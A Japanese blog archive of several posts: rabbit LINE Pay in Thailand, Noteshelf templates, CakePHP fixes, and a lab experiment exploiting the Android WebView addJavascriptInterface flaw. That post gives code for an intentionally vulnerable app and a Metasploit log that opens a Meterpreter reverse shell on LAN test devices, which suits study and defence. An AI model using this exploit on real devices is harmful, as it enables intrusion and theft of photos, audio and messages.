アプリ」カテゴリーアーカイブ

タイのLINEペイ(rabbit LINE Pay)を試してきました。(その2)

#5月2日にrabbit LINE Payより通知があり、「rabbit LINE Payを使用する前に本人確認してください」とありました。やり方の概要をチェックするとタイの市民ID(Citizen-ID)の入った身分証の写真を送付するような感じでしたが、実際にやってみるとパスポートでよいようです。タイの住所の記載は定宿のにしておきました。まだ「確認中」のようですが、この時点でrabbit LINE Payで自分のモバイルにはチャージ完了できました。
#5月6日にrabbit LINE Payより通知があり、「お待たせしました。本人確認が完了しました」とありました。でもモバイルチャージができない。「クレジットカードを登録しろ」と出ます。現金チャージしておいた残高のみではNGになったようです。試しにVプリカ(VISAカード)を登録しましたがすんなりOK。今度はモバイルチャージ画面に飛びました。今やると有効期限延長に効果がないので、後日チャージが決済されるか確認する予定です。
楽天バーチャルプリペイドカード(MASTERブランド)を登録してモバイルチャージできることを確認しました。(2019年5月)

日本のLINEも頑張っています。
このところLINEのサービスから目が離せません。今度は『LINE Pay300億円祭り』だそうな

タイのLINEペイ(rabbit LINE Pay)を試してきました。以下その顛末です。

  • タイのLINEペイ(rabbit LINE Pay)とは?
  • rabbit LINE Payの開始方法

上の2つはここ

  • LINEペイとrabbit LINE Payの違い
  • BTS(バンコクの高架鉄道)との連携
  • タイのモバイル通信キャリアのtop-up

LINEペイとrabbit LINE Payの違い

かなり違います。ネットの情報によると、タイでもLINEペイが使えたという記事がありますが、rabbit LINE Payが日本で使えたという記事はありませんでした。LINEペイもrabbit LINE Payもそれぞれの国のサービスにローカライズしているようです。普段使いのための電子マネーなので、それでいいと思います。

タイでもLINEペイが使えるといっても、マクドナルドやKFCなど店頭での支払いが可能になる位だと思います。恐らく普通にクレジットカードを使って支払うのと同じでしょう。時価レート+手数料で円にした額が、暫くしてから銀行口座から引き落とされるのだと。

rabbit LINE Payの場合、タイにおけるサービスにオンラインでいろいろとできるところが違います。例えば、BTS(rabbitカード)へのチャージやタイのモバイル通信キャリアへのチャージなどですね。

BTS(バンコクの高架鉄道)との連携

先日の訪泰時には、BTS(rabbitカード)へのrabbit LINE Pay経由のチャージはしませんでした。これをやるにはBTS(rabbitカード)とrabbit LINE Payとの連携が必要で、BTSの駅にて手続きが必要です。rabbitカード発行時に200Bかかりますし。

連携時の画面です。
clip-20190414064154.png
rabbitカードの裏面(?)
clip-20190414065809.png
rabbitカードの表面(?)
clip-20190414070020.png

タイのモバイル通信キャリアのtop-up

タイのモバイル通信キャリアへのチャージ(top-up)については、非常にお世話になりました。いつもコンビニで長い待ち行列を気にしながらtop-upをお願いしていたのですが、オンラインでできてしまいます。まだ試していませんが、帰国後日本に居ながらにしてタイのプリペイド番号や友人の番号にtop-upできそうです。プリペイド番号には有効期限がありますが、top-upすると自動延長されますので、有効期限の操作にも使えます。

①LINEウォレットにある「Mobile Top-up」もしくはrabbit LINE Pay画面にある「携帯電話チャージ」をタッチ
clip-20190414054419.png
②電話番号を入力、チャージ(top-up)する金額をタッチして、「チャージ」をタッチ
clip-20190414070726.png
③チャージ先の電話番号を確認。問題ないなら「確認」をタッチ
clip-20190414070912.png
④支払いに使うアカウントを確認。問題ないなら「xxを支払う」をタッチ
clip-20190414071109.png
⑤Payパスワードを入力するとこの画面に。問題ないなら「決済」をタッチ
clip-20190414071305.png
⑥LINE上に支払い完了の通知と残額がでる。
clip-20190414071537.png

携帯電話チャージ(Mobile top-up)した後は、(Dtacの場合)Add-onパッケージを購入したり、いろいろやれます。こちらもどうそ。2018年5月の情報ですが、ほぼ変わっていません。
タイリピーターのプリペイドSIMはDtac一択で決まり!?

以上です。

関連する記事

タイのLINEペイ(rabbit LINE Pay)の本人確認手順
タイのLINEペイ(rabbit LINE Pay)を試してきました。
タイのLINEペイ(rabbit LINE Pay)を試してきました。(その2)
タイリピーターのプリペイドSIMはDtac一択で決まり!?
このところLINEのサービスから目が離せません。今度は『LINE Pay300億円祭り』だそうな

タイのLINEペイ(rabbit LINE Pay)を試してきました。

#5月2日にrabbit LINE Payより通知があり、「rabbit LINE Payを使用する前に本人確認してください」とありました。やり方の概要をチェックするとタイの市民ID(Citizen-ID)の入った身分証の写真を送付するような感じでしたが、実際にやってみるとパスポートでよいようです。タイの住所の記載は定宿のにしておきました。まだ「確認中」のようですが、この時点でrabbit LINE Payで自分のモバイルにはチャージ完了できました。
#5月6日にrabbit LINE Payより通知があり、「お待たせしました。本人確認が完了しました」とありました。でもモバイルチャージができない。「クレジットカードを登録しろ」と出ます。現金チャージしておいた残高のみではNGになったようです。試しにVプリカ(VISAブランド)を登録しましたがすんなりOK。今度はモバイルチャージ画面に飛びました。今やると有効期限延長に効果がないので、後日チャージが決済されるか確認する予定です。
楽天バーチャルプリペイドカード(MASTERブランド)を登録してモバイルチャージできることを確認しました。(2019年5月)

タイのLINEペイ(rabbit LINE Pay)を試してきました。以下その顛末です。
clip-20190414131232.png
上の写真はソンクラーンを週末に控えて並んだ夥しい数の水鉄砲(ปืนฉีดน้ำจำนวนมาก)

  • タイのLINEペイ(rabbit LINE Pay)とは?
  • rabbit LINE Payの開始方法
  • LINEペイとrabbit LINE Payの違い
  • BTS(バンコクの高架鉄道)との連携
  • タイのモバイル通信キャリアのtop-up

タイのLINEペイ(rabbit LINE Pay)とは

ひとことでいうと、タイでのサービスに使える電子マネーです。普通に日本でも使っているLINEアプリをタイの電話番号でユーザ登録すると、rabbit LINE Payの設定ができ、

  • (電子マネーの)チャージ
  • タイモバイルキャリアへのチャージ(top-up)
  • BTSカード(rabbitカード)へのチャージ(top-up)
  • マクドナルド、KFC、等々での支払い
  • 各種支払い

等のサービスが使えるようになります。

これがQRコード読み取り機。複数機種あるようですが、操作方法は同じでしたね。ちなみにこれでBTS(rabbitカードの非接触カード)の操作もできるようです。後日試しました。

clip-20190414080934.png

タイのファミマでも4月か5月位には使えるようになるようですよ、と店員さんから聞きました。

clip-20190414051909.png

タイにも電子マネー化の波が押し寄せているようです。初訪泰から10年以上になりますが、タイ国内で電子マネーを使ったのは今回が初めての経験でした。

clip-20190414075359.png

rabbit LINE Payの話からは外れますが、バンコクに持っている銀行口座のATMカード(磁気カード)が2019年12月31日を過ぎると使えなくなるということで、ICチップの付いたATMカードに切り替えてきましたが、これにはUnion Pay(銀聯)のクレジット・デビットがついていました。

clip-20190414080722.png

rabbit LINE Payの開始方法

普通に日本でも使っているLINEアプリを使って、タイのプリペイド番号で新規にユーザ登録すれば、rabbit LINE Payの設定ができるようになります。

clip-20190414081120.png
ちょっとぼんやりしているので拡大すると、
clip-20190414054419.png
タッチすると、
clip-20190414060100.png
となり、安全のためのPayパスワード設定やチャージ等ができるようになります。

チャージ方法には、銀行口座と連携する方法もありますが、ツーリストの場合口座を持っていてもタイの市民ID(Citizen-ID)を持たないので、恐らくNGでしょう。私もそこで諦めました。

clip-20190414064433.png

一台のスマホで複数のLINEアプリを起動できる機種※1の場合は問題ないですが、そうでない場合、新規にアカウント登録すると、そのスマホに入っていた(日本の)アカウントのデータが消えてしまいますので、注意が必要です。その場合は別の(SIMフリーな)スマホを使うのが簡単です。

※1:Galaxyの「デュアルメッセンジャー 」やOPPOの「マルチ起動アプリ」等

続きは以下のページで。
タイのLINEペイ(rabbit LINE Pay)を試してきました。(その2)

以上です。

関連する記事

タイのLINEペイ(rabbit LINE Pay)の本人確認手順
タイのLINEペイ(rabbit LINE Pay)を試してきました。
タイのLINEペイ(rabbit LINE Pay)を試してきました。(その2)
タイリピーターのプリペイドSIMはDtac一択で決まり!?

実験してみました!Android 4.2.x以下のAndroid端末(スマホやタブレット)は本当にやばいです!

ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。

*1:Attacks on Android WebViews

どういう端末が危ないか

1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可

これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。

さらに、

4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可

などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。

なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます

実験内容

1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成

2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機

3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール

4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。

ターゲット環境

・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続

侵入ホスト環境

・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続

WebViewクラス使用アプリの作成

GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。

変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。

package com.krasavkana.vulnwebview;

import android.os.Bundle;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity {

private static EditText edittext1;
private static EditText edittext2;
private static EditText edittext3;
private static WebView myWebView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final Button button = (Button) findViewById(R.id.button1);

// set LHOST 192.168.1.30
edittext1 = (EditText) findViewById(R.id.edittext1);
// set SVRPORT 8080
edittext2 = (EditText) findViewById(R.id.edittext2);
// set URIPATH /aaaaaaaa
edittext3 = (EditText) findViewById(R.id.edittext3);

myWebView = (WebView) findViewById(R.id.webView1);

// not a good idea!
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);

// terrible idea!
myWebView.addJavascriptInterface(new WebAppInterface(this), "Android");

myWebView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return super.shouldOverrideUrlLoading(view, url);
}
});

// woot.
//myWebView.loadUrl(edittext.getText().toString());

button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Perform action on click
loadUrl();
}
});

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

private void loadUrl() {
String uri="http://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString();
myWebView.loadUrl(uri);
// myWebView.reload();
}

}

実験結果

・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可

以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。

root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]]
+ -- --=[ 1463 exploits - 838 auxiliary - 229 post        ]
+ -- --=[ 428 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30
LPORT => 192.168.1.30
msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa
URIPATH => /aaaaaaaa
msf exploit(webview_addjavascriptinterface) > set VERBOSE true
VERBOSE => true
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.30:4444 
[*] Using URL: http://0.0.0.0:8080/aaaaaaaa
[*] Local IP: http://192.168.1.30:8080/aaaaaaaa
[*] Server started.
msf exploit(webview_addjavascriptinterface) > 
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.1.108    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.108    webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: source=script vs source=script
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true
[*] 192.168.1.108    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (45338 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700

msf exploit(webview_addjavascriptinterface) > sessions

Active sessions
===============

  Id  Type                      Information  Connection
  --  ----                      -----------  ----------
  1   meterpreter java/android   @ localhost  192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /data/data/com.krasavkana.vulnwebview
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11768  fil   2015-06-28 15:49:41 -0700  abaeJ.dex
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  cache
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  databases
40444/r--r--r--   4096   dir   2015-06-28 15:49:14 -0700  lib

meterpreter > pwd
/data/data/com.krasavkana.vulnwebview
meterpreter > cd ..
meterpreter > pwd
/data/data

実験で使ったAPKファイル

掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。

インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk

因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。

*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。

他の脆弱性について

今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。

私たちエンドユーザとしては、

・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、

などができ得る対策ですが、十分に気をつけましょう。

関連する記事・ページ

お世話になったリンク

Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。

iPad手書きアプリ「Noteshelf」向け能率手帳風テンプレートを作ってみました

膨大な数のiPadアプリの中でも、Must-Haveなものの一つとして定評のある手書きアプリ「Noteshelf」。とにかく書き心地がよくて、本当に癖になります。でも、ここ一年程セキュリティーの厳しい職場だったためスマホやタブレットなど録音や録画、撮影が可能なデバイスは休止して所謂システム手帳を使っていました。能率手帳Bindexから出ているDiaryリフィルをひさしぶりに手に入れて使ってみましたがこれが素晴らしい。「Noteshelf」に戻れなくなるんじゃないかと考えた程でした。

そこで「Noteshelf」と「能率手帳」風Diaryの好いとこ取りをしようと、能率手帳風「紙のスタイル」の元データをHTML5+CSSで作成してみました。

標準の「紙のスタイル」の中にも「日程表」が提供されていますが

「日程表」という「紙のスタイル」が元々提供されており、これでも大丈夫そうですが、やはり使い慣れたものがいいですよね。HTML5+CSSで作成してみました。

能率手帳風Diary表示ページはこちら

スリム版はこちら。1ページにメモとスケジュールを収めました

スリム版V2はこちら。複数日のPDF出力のため基準日と日数を指定できるようにしました
スリム版V2の2018年版はこちら。2018年元日から365日分表示します。印刷にPrimoPDF等のPDF出力アプリを使えばNoteshelfで使えます
スリム版V2の当月分はこちら。ただし31日分でるので変更するときはURLのパラメータを変えてください

月間目標版はこちら。2015年と2016年があります

日付部分のみ一週間分表示はこちら

左上にある日付の場所をタッチすると日付選択ができ、右上や左上にある日付に関連する表示を変更してくれます。能率手帳風Diaryの左ページ(メモ用)と右ページ(スケジュールやチェックリスト)を一度に表示します。iPad等で画像を取り込むときは、左右のページをそれぞれ取り込むか、横向き使用を想定して一度に取り込むかします。

iPadでの表示テストは初代iPad-miniを使用しており、新iPad-miniを含み歴代の標準サイズのiPadでは試していません。解像度の関係で表示結果がまちまちになるかも知れません。

iPad手書きアプリ「Noteshelf」への取り込み方法

ステップ1:iPadで上記ページにアクセスしてDiaryページを表示する

ステップ2:電源ボタン+ホームボタンの同時ONでDiaryページの画像を保存する

ステップ3:「Noteshelf」アプリを起動して

ステップ4:「ノートの新規作成」(書棚モードの右隅にある「+」を丸で囲んだアイコンをタッチ)

ステップ5:「ノートをカスタマイズ」の上段を「すべてのスタイル」から「カスタム」に変更

ステップ6:スタイルの新規追加でステップ2で保存した画像を設定する

カスタム「紙のスタイル」にはダイナミック表示の機能がない

カスタムスタイルを作ったのはいいのですが、自分であれこれ使ってみて、カスタム「紙のスタイル」にいちいち登録して使うのは根気が必要だと感じました。もちろん、日付部分を空にして手書きで入れればいいのですが、それだと「日程表」と変わらなくなり、ちょっとつまらない。

ストアで探せばいいのかな?

やはりダイナミックな「紙のスタイル」というのは原理的に難しいのでしょうね。しばらく使ってみていろいろ工夫してみようと思います。

DropboxなどからPDFを読み込む方法もあるようです

Noteshelfではテンプレートを使ってノートを作成する方法のほかに、DropboxなどからPDFを読み込む方法があるようです。これだと複数ページにわたるテンプレートのように使うことができますね。
スリム版をH31年(西暦2019年)分でまとめたPDFはこちら
スリム版をH31年(西暦2019年)会計年度分でまとめたPDFはこちら
スリム版をH31年第1四半期(西暦2019年Q1)分でまとめたPDFはこちら
スリム版をH31年第2四半期(西暦2019年Q2)分でまとめたPDFはこちら
スリム版をH31年第3四半期(西暦2019年Q3)分でまとめたPDFはこちら
スリム版をH31年第4四半期(西暦2019年Q4)分でまとめたPDFはこちら
スリム版をH32年(西暦2020年)分でまとめたPDFはこちら
スリム版をH32年(西暦2020年)会計年度分でまとめたPDFはこちら(400日分あります)
スリム版をH33年(西暦2021年)分でまとめたPDFはこちら
スリム版をH33年(西暦2021年)会計年度分でまとめたPDFはこちら(400日分あります)
スリム版をH34年(西暦2022年)分でまとめたPDFはこちら

関連する記事・ページ

お世話になったリンク

バックアップのためのリンク

スリム版をH30年(西暦2018年)分でまとめたPDFはこちら
スリム版をH29年(西暦2017年)分でまとめたPDFはこちら
以上です。

あなた方は神です!?古いCakePHPの導入で先人の知恵を拝借

現在開発中のシステムではDBアクセスにCakephpを使っています。最新版で開発したものを、レンタルサーバの環境に合わせて調整する必要があり、その際に苦労したことを書いてみたいと思います。個人と組織。そのいづれがその能力を発揮できるのか。システム開発で参考になるネットの情報は個人から発信された情報が殆どだと思います。この記事がその一助になればと思います。

「Cakephp」とは

「Cakephp」とは、小・中規模WEBアプリケーションでは大きなシェアを占めるPHPのフレームワークのひとつです。サーバ(DBへのアクセスが主体)とのアクセスモジュールとしてみると、生PHPで書くのとは格段に違う生産性と読み易さが得られますし、単体でもMVCが構築できる秀逸なオープンソースです。

現在利用している「HostGator」などの格安レンタルサーバでもPHPがデフォルトで導入されています。今ご覧になっている本ブログのCMSであるWordPress自体がまさにPHPで書かれていて、MySQL仕様のDBともPHPでアクセスします。

生のPHPで書くシステムを企業やら行政やら金融やらで使えるようにする場合、コード量は現在の10倍以上になるでしょう。いろいろなケースに想定しないといけないからです。生PHPで簡単に書いたコードは「裸でジャングルに入るようなもの」なんでしょうね。

それに比べるとCakephpなどのフレームワークでは、「裸で」に比べるとかなり改善されるようです。いろいろ例外的な状況への対処が簡単な仕組みにカプセル化されているとのこと。すばらしいですね。これまで一生懸命条件分岐のコードを書いていたのは「何だったんだろう!あの時間を返してくれ!」と思わせるものがあります。

こうしてみるとメリットばかりのように見えますが、そうでもありません。学習のためのコストが掛かったりします。そしてもうひとつ重要なのがレンタルサーバなど自分で自由に環境構築できない場所での扱いです。例えば「HostGator」の場合PHPの版数がちょっと古いんです。古いのは安定につながるのでそれはそれで仕方ありませんが、こうした新しいものを取り入れるときにちょっとした障壁になりえます。

「HostGator」でCakePHP2.xxが使えない

「HostGator」がサポートするPHPの現在の版数は5.2.17です。CakePHP2.xxのサポート版数より低いです。フレームワークによってはベースとなるシステムの版数が低くても使えるものが多いんですけどね。CakePHPは違いました。受け付けてくれません

で、結局開発につかったCakePHP2.xxではなくCakePHP1.xxを導入せざるを得なくなりました。それでもJavaサーブレットやStrutsに比べるとかなりましです。Tomcat6などのアプリケーションサーバ環境自体を用意する必要がないからです。

格安レンタルサーバでアプリケーションサーバ環境をデフォルトで用意してくれるところはあるのでしょうかね。

新しい版から古い版へのフレームワークのマイグレーションは大変?

古い版のものには、リリースされて時間が経つ分皆が使っているので、情報が揃っています。ただ、新しい版のものでできたことを古い版でやろうとするとちょっとハードルが高いです。

もちろん、いきなりレンタルサーバにUPLOADしてコードをいじることはありません。まずはローカルな環境で古いCakePHP1.xxを入れて、それから本番環境にマイグレーションします。

ただし、ローカルに構築したそうした環境で動作するからといってレンタルサーバにそれをそのままコピペしても同じように動くとは限りません。逆に「まったく同じに動くことはないのだ」と思ったほうが幸せになれます

日本語のシステムなら「database.php」の「utf8」設定を有効に

これも「まったく同じに動くことはないのだ」のひとつですが、「database.php」の「utf8」設定を、ローカルでは外して動作していました。このときの「動作していました」の意味はキチンと日本語が見れましたの意味です。レンタルサーバでは日本語がみな「????????」と表記されるのです。まず、DBの中身をいろいろ調べ、次にローカルとの間でコードの違いを調べました。これに数時間も費やして、結局「utf8」を陽に設定すれば即解決しました。

JSON用のserialize機能がCakePHP1.xxにはない!

開発中のシステムは、CakePHPが動くサーバとAjaxで通信するAjaxアプリケーションから構成されます。こうした場合情報のやりとりにはJSONを使うのが定石のようですので、CakePHP2.xxでもそうした実装をしていました。たった2行書くだけでJSONをserialize出力できる便利な機能があるんですね。

ところがこの機能がCakePHP1.xxにはありません。当然ローカル環境でも遭遇しました。そこで、「お世話になったリンク」にもあるように、(CakePHP2.xxでは必要なかった)Viewの定義と、デフォルトLayoutsをバイパスしてあげることの2点で問題が解決しました。

Controller内でArray_map関数を使うとエラーになってしまう

次に、CakePHPのController定義で、レスポンスオブジェクトにある余計な情報を削除するため、Array_map関数をつかったところ、レンタルサーバでエラーになりました。ローカル環境では全く問題なかったのに。不思議です。

function index(){

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map(funtion($e){
        return $e['Share'];
    },$shares);
    $this->set('datas', $shares);
}

結局、次のように無名関数の定義を止めたら通りました。

function index(){

    function res($e){return $e['Share'];}// only Hostgator does this way!!!

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map("res",$shares);
    $this->set('datas', $shares);
}

極めつけはこれ。こんな情報どこにもなかった。あなたは神です

以上はCakePHPがDBにアクセスして一覧を出力するところに関連する部分になります。

ここからは通信方向が逆でAjaxアプリからCakePHPへのXmlHttpRequstのPUTリクエストに関するものです。POSTでも同じ方向のやりとりが発生します。URL情報と並行してテキストやストリームなどの情報が渡されます。

CakePHPのController定義内でこの情報にアクセスするには「this.requst」というオブジェクトを使います。でも下記リンクにもあるようにこれがあろうことか「null(空の意味)」になってしまいお手上げ状態です。いろいろ調べても本来渡されてくるべき情報がないので途方にくれていたところ、本当に凄い裏技を発見、というか、凄い裏技を発見した方がいました。こんな発見必要ないひとには本当に何でもないことですが、開発している最中にこれに出会ったときには「神がいらした」と感動しました。

Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

$this->data = json_decode(file_get_contents('php://input'));

こんなコードどうやって調べたんだろう!

結構複雑でわかりにくい話ですみません

関連する記事・ページ

お世話になったリンク

[CakePHP] JSON出力時にstring型をint型に戻す | XPages、ロータスノーツ・ドミノのモバイル・WEBアプリの開発・相談ならKTrick LLC.
AJAX ? CakePHP Cookbook v1.3 documentation
CakePHPでビューやレイアウトを使わない方法。 | Wataame Frog
Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

以上です。